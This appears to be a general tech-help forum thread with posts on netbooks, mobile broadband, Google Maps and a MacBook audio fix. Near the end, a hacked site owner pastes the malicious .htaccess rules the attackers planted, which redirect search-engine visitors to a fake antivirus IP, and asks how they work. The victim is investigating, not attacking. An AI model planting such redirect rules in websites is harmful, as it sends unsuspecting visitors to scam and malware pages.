You can see the EEE PC at Best Buy if you want to get an idea of the size of the machine. I have one that's great for when I don't want to carry a full PC into a meeting and also for some of the diagnostic work I do on job sites, but I don't rely on it to be my primary PC.

The Acer Aspire One comes with either XP or Linux (with a simplified GUI). I like mine a lot, especially given the price.

The Linux one comes with Open Office, which can save stuff in Word and Excel format.

Thanks, meara. Do you have a 5GB data cap on your corporate account? What kind of speeds do you actually see? Are there roaming charges?

....I have no idea if there is a data cap. I am usually just on the internet, not downloading things, so I don't know what sort of speeds I see, but it's definitely slower than regular wifi at home on my cable modem, but not by a ton. Mostly that's noticeable the few times I am downloading something from email like a PDF or something--it takes a few extra seconds. With a powerpoint presentation I had to download the other day, it definitely took a bit longer. On a site like buffistas, I don't generally notice at all.

When I'm using it, I do use it all day long, but only, again, for Outlook and the internet, and that's usually maybe 8-10 days a month.

I haven't hit any roaming charges, but like I said, I've only been in big cities (LA, Portland, Vegas), so only places where they have service. I was under the impression it just didn't work in some places, I didn't know if it roamed.

Is there a way at maps.google.com to add more than one marker to a map without going so far as directions?

Click on "My Maps" instead of "Get Directions," then create and save a map, then save locations to it.

Thanks!

On my new MacBook Pro, I can't get audio on the headphone jack. I go to System Preferences -> Sound -> Output, and it only lists the internal speakers, and not the headphones.

I feel stupid. What obvious thing am I missing?

[EDIT: I just wasn't pushing the headphone jack in far enough. I feel even more stupid now]

My websites were hacked. .htaccess files were added that read:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* ht tp://89.28.13.202/in.html?s=ix [R,L]

The way I discovered this is that certain form POST operations would be redirected to a fake antivirus website. I've removed the .htaccess files and changed my passwords, but I've got a couple questions:

1) Could someone have hacked in without the password? I'm pretty sure the permissions were set to 644. Seems like if they had the password, way more damage would have been done.

2) What are the redirects doing? The last one is the IP address of the fake antivirus site, but what's with all the lines before that? And what do the letters in square brackets mean?

t edit I put a space in the http of the last line to prevent the buffista autolinkafication

OK, did a little research and I *think* it's checking to see if the referring URL is from any of those six websites. If it is, it redirects to 89.28.13.202.

So why would it redirect users after certain POSTing of forms?
